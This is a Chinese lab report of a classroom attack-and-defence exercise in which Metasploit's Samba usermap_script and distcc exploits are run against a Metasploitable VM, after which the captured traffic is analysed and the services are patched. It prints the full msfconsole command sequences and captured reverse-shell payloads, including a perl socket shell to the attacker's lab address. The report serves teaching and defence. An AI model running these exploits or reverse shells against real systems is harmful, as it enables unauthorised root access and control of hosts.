linux操作系统安全防护
Linux系统攻防对抗实践
一、实践内容
在Metasploit渗透攻击框架软件中寻找一个针对Linux系统服务的渗透攻击模块,在网络安全攻防实验环境中部署有漏洞的环境(如渗透利用第三方网络服务,需要找到并安装存在特定漏洞的版本),并使用metasploit进行攻击。
攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机实施网络攻击,防御方则在Metasploitatble上使用Tcpdump或Wireshark或Snort工具捕获攻击流,并分析出攻击者利用了哪个安全漏洞进行攻击,从官方网站上下载该安全漏洞补丁进行系统修补,双方合作给出攻防过程报告。
二、实验环境
- 为了完成本次实验,我们部署了如下的实验环境。
- 攻守双方使用两台笔记本电脑,并将它们直连成为一个局域网。在攻守双方的笔记本电脑上部署Vmware Workstation软件,并分别建立攻击机、扫描机和防守机。其中攻方使用BackTrack4系统,并辅助使用WinXPattacker进行扫 描;守方使用Ubuntu 8.04-Metasploitable系统。
如下图,三台虚拟机使用Bridge方式联网,攻击机IP地址192.168.200.10,扫描机IP地址192.168.200.2;防守机IP地址192.168.200.11。
三、攻防实践过程
攻守双方首先将虚拟机启动起来,配置好网络环境并测试网络通畅后,攻守双发分别进行接下来的操作。
攻方过程
漏洞扫描及结果分析
为了确认防守方系统漏洞,攻方在扫描机上使用X-Scan3.3对防守机进行了一次全面漏洞扫描。
- 其中防守机开启的服务和具体的漏洞如下,
- 查看详细的扫描报告,可以得知该主机很多重要信息,
- a) 从139端口可以获取该系统主机名为“METASPLOITABLE”,注释“metasploitable server (Samba 3.0.20-Debian)”;
- b) 主机系统中存在许多用户,共35个,其中被禁止的33个,存活使用用户user、msfadmin;
- c) 系统存在弱口令,用户user、msfadmin密码与用户名一样,使用net use命令能够建立连接查看共享资源。ftp开放版本信息 ProFTPD 1.3.1 Server (Debian),user这个用户在ftp中也可以使用;
- d) telnet服务开放,可确定该系统为Ubuntu 8.04,用户user、msfadmin可以登录,并获得相应权限。如果不存在弱口令,通过截获该telnet数据也能获取用户口令。
攻击方式选择
- 根据上面的分析结果,最简单的攻击方式就是通过telnet使用user或msfadmin用户登录即可,但这样的攻击并不是我们的实验目的,因此我们暂时忽略系统弱口令的问题,通过第三方软件的漏洞获取系统的控制权。
从上面的漏洞扫描可以看出,防守机的漏洞很多,我们可以使用SMB漏洞、distcc漏洞等进行攻击。因为SMB是Samba软件的服务,而Samba服 务是运行在root权限下,所以一旦攻击成功,将获得权限为root的shell。我们本次实验主要使用SMB漏洞进行攻击,并尝试使用distcc漏洞。
攻击入侵
- 完成了以上的分析,我们终于进入了今天的重头戏,攻击环节。
- 在命令行窗口输入命令
- msfconsole
- 将开启我们要使用的攻击工具:metasploit,如下图,
- 首先,我们使用SMB漏洞对防御机进行攻击,并设定payload为reverse(在没有防火墙的情况下,选择任意的shell payload都是可以的,本实验的payload是任意选取的),依次输入如下命令,使用SMB漏洞对防守机进行攻击,
use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit
- 如下图,攻击后成功的获得了一个root权限的shell,攻击成功!
- 断开当前的连接,依次输入如下命令,使用distcc漏洞进行攻击。
back
use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit
如下图,攻击成功后出现一个可以使用的shell,但是没有root权限。
但继续输入命令时却没有反应,后证实是被防守方人为中断了。
为了使用更高权限的命令,我们需要root权限的shell。因此再次使用SMB漏洞进行攻击。在命令行下输入如下命令,
back
use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit
- 然后在获得的shell中输入reboot命令,如下图,
- 这时,防守机系统重启了,攻击成功!
守方过程
- 防守机上观察到的攻击迹象
- 在防守机启动之后,立即使用如下命令抓取系统接收和发送的报文,并将结果保存到result.cap文件中。
sudo tcpdump –s 00 –w result.cap &
- 然后等待一段时间后,使用如下命令查看系统进程,
ps –e | more
- 发现数个可疑的telnet进程,后来证实其为攻击时使用的shell。如下图,
- 果断将telnet进程杀掉。但随后不久,收到一个来自用户root的消息,机器便重启了……
报文分析
- 为了弄清楚重启的真正原因。当机器重启之后,果断断网。导出抓取的报文文件,并使用wireshark进行分析。
- 简单的查看抓取到的报文,在短短的30分钟内,一共有128768个报文。如此巨量的报文中,绝大多数报文都是成片的同一种协议的报文,如下图,
因此可以断定,攻击机正在进行扫描,而真正的攻击应该在最后。从后向前查看报文内容发现,倒数第二条报文是一个TCP数据包,其中报文的内容是正是reboot!可以断定正是这条命令导致了系统重启。
经过对报文仔细的分析,可以确定的攻击有三次,分别如下图所示,其中攻击的漏洞和携带的攻击脚本分别为,
漏洞名称 | 相关网址 | 攻击脚本 | 执行的命令 |
---|---|---|---|
SMB漏洞 CVE-2007-2447 | http://www.samba.org/samba/security/CVE-2007-2447.html | nohup sh -c ‘(sleep 4495 | telnet 192.168.200.10 4444 |
Distcc漏洞 CVE-2004-2687 | http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-2687 | perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.200.10:4444”);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’ | idusers |
同第一个 | 同第一个 | 同第一个 | idreboot |
漏洞修补
- 由于防守机是ubuntu系统,所以很容易将软件升级到最新版本。在命令行执行如下命令,
sudo apt-get update
sudo apt-get install samba
- 或者将相应的服务禁掉,
sudo /etc/init.d/samba stop
sudo /etc/init.d/distcc stop
- 但是升级distcc时会提示没有更新的版本,到其官网上下载最新版本,卸载旧版本并安装后可以修补漏洞。
四、攻防实践总结
实践中遇到问题和总结的经验,
- 攻方
- a) 漏洞选择,因为有文档指出Metasploitable靶机存在的漏洞,所以在这个方向上可以减少攻击过程中尝试的漏洞;
- b) 如果获得的shell权限不是root级别的,需要继续使用本地溢出进行提权,本人对这些漏洞信息掌握很少。
- 守方
- a) 抓取的报文数量巨大,从中找出有用的信息比较困难。
- b) 从攻击的过程中推测被利用的漏洞必须具备相当的背景知识,并且需要熟练运用搜索引擎和官方网站。
linux操作系统安全防护的更多相关文章
- 在Linux操作系统下备份恢复技术的应用 转自https://yq.aliyun.com/articles/50205?spm=5176.100239.blogcont24250.9.CfBYE9
摘要: 安全防护:在Linux操作系统下备份恢复技术的应用 原文参见:http://linux.chinaunix.net/techdoc/system/2005/12/19/925898.shtm ...
- Linux操作系统安全-加密和安全扫盲篇
Linux操作系统安全-加密和安全 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.墨菲定律 墨菲定律: 一种心理学效应,是由爱德华·墨菲(Edward A. Murphy)提出 ...
- 第1课:Linux操作系统基础【DevOps基础培训】
第1课:Linux操作系统基础 --DevOps基础培训 1. 云主机.公网IP 1.1 公网ip和私网ip 只有公网ip是能够连接互联网的,私网IP 一般只用作局域网 我们能够上网靠的是isp组织分 ...
- Linux操作系统备份之三:通过二进制拷贝(dd)方式实现Linux操作系统数据的备份
前面有两篇文章,<Linux操作系统备份之一:使用LVM快照实现Linux操作系统数据的在线备份>和<Linux操作系统备份之二:通过tar拷贝分区实现Linux操作数据的在线备份& ...
- Linux操作系统备份之二:通过tar拷贝分区实现Linux操作数据的在线备份
http://www.tektea.com/archives/2163.html. 在<Linux操作系统备份之一:使用LVM快照实现Linux操作系统数据的在线备份>文章中,我们介绍了使 ...
- 安装linux操作系统
安装双操作系统; 1 0. 介绍: 1 1 实验环境: 2 2. 实验准备: 2 3.开始安装: 2 1 制作U盘启动工具: 2 2.安装LinuxOS. 3 2.1在windowOS中划分60G空间 ...
- 献给初学者:谈谈如何学习Linux操作系统
本文出自 “技术成就梦想” 博客,请务必保留此出处http://ixdba.blog.51cto.com/2895551/569329. 为了能把这篇不错的文章分享给大家.所以请允许我暂时用原创的形式 ...
- Linux操作系统备份之一:使用LVM快照实现Linux操作系统数据的在线备份
这里我们讨论Linux操作系统的备份. 在生产环境,客户都会要求做全系统的数据备份,用于系统崩溃后的一种恢复手段.这其中就包含操作系统数据的备份恢复. 由于是生产环境,客户都会要求备份不中断业务,也就 ...
- 安装Kali Linux操作系统Kali Linux无线网络渗透
安装Kali Linux操作系统Kali Linux无线网络渗透 Kali Linux是一个基于Debian的Linux发行版,它的前身是BackTrack Linux发行版.在该操作系统中,自带了大 ...
随机推荐
- 【leetcode刷题笔记】Majority Element
Given an array of size n, find the majority element. The majority element is the element that appear ...
- Google揭露SHA-1碰撞,加速数据重删字节对比
原创 架构师技术联盟 近期,Google和道荷兰阿姆斯特研究者宣布攻破了世界上第一例公开的SHA-1哈希碰撞实例,业界一片哗然.当两组不同的数据(文件.一段数据)计算出相同的Hash值时,即视为二者 ...
- sublime text3配置ctrl+鼠标左键进行函数跳转【转】
本文转载自:https://blog.csdn.net/shangdibaozi/article/details/77503426 点击Preferences->Browse Packages进 ...
- HDU 5703
题意:给你一个数n,问将n分为正整数和的方案数.如n=3共四种,1 1 1 , 1 2 , 2 1 ,3 . 思路:隔板法,n个1,有n-1个空位,每个空位可以选择是否插入隔板,插入k(0<=k ...
- bower安装使用、git安装、node安装、weui安装开发
bower安装使用以及git安装 bower需要:node 和 git 1.Git安装:(选择第二项:Use Git from the Windows Command Prompt)2.node安装: ...
- idea绿色版+谷歌浏览器绿色版——设置打开jsp文件
首先我们的工具有 1.idea绿色版 2.Chrome绿色版 3.JavaJDK 4.Tomcat绿色版 文件放在那里都可以 1.idea设置默认打开Chrome 2.idea设置选择Tomcat和J ...
- C语言结构体初始化的三种方法
直接上示例了 ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 3 ...
- mongodb笔记(一) 分片 &&文档连接
版本:mongodb3.4 ; 分片: 工作顺序:router=>config=>shards 一,配置config: 3.4中config必须为replSet.下面配置两个config. ...
- ToggleButton开关状态按钮控件
ToggleButton开关状态按钮控件 一.简介 1. 2.ToggleButton类结构 父类是CompoundButton,引包的时候注意下 二.ToggleButton开关状态按钮控件使用方法 ...
- HttpClient for .NET 4.0
Install-Package Microsoft.Net.Http -Version 2.2.29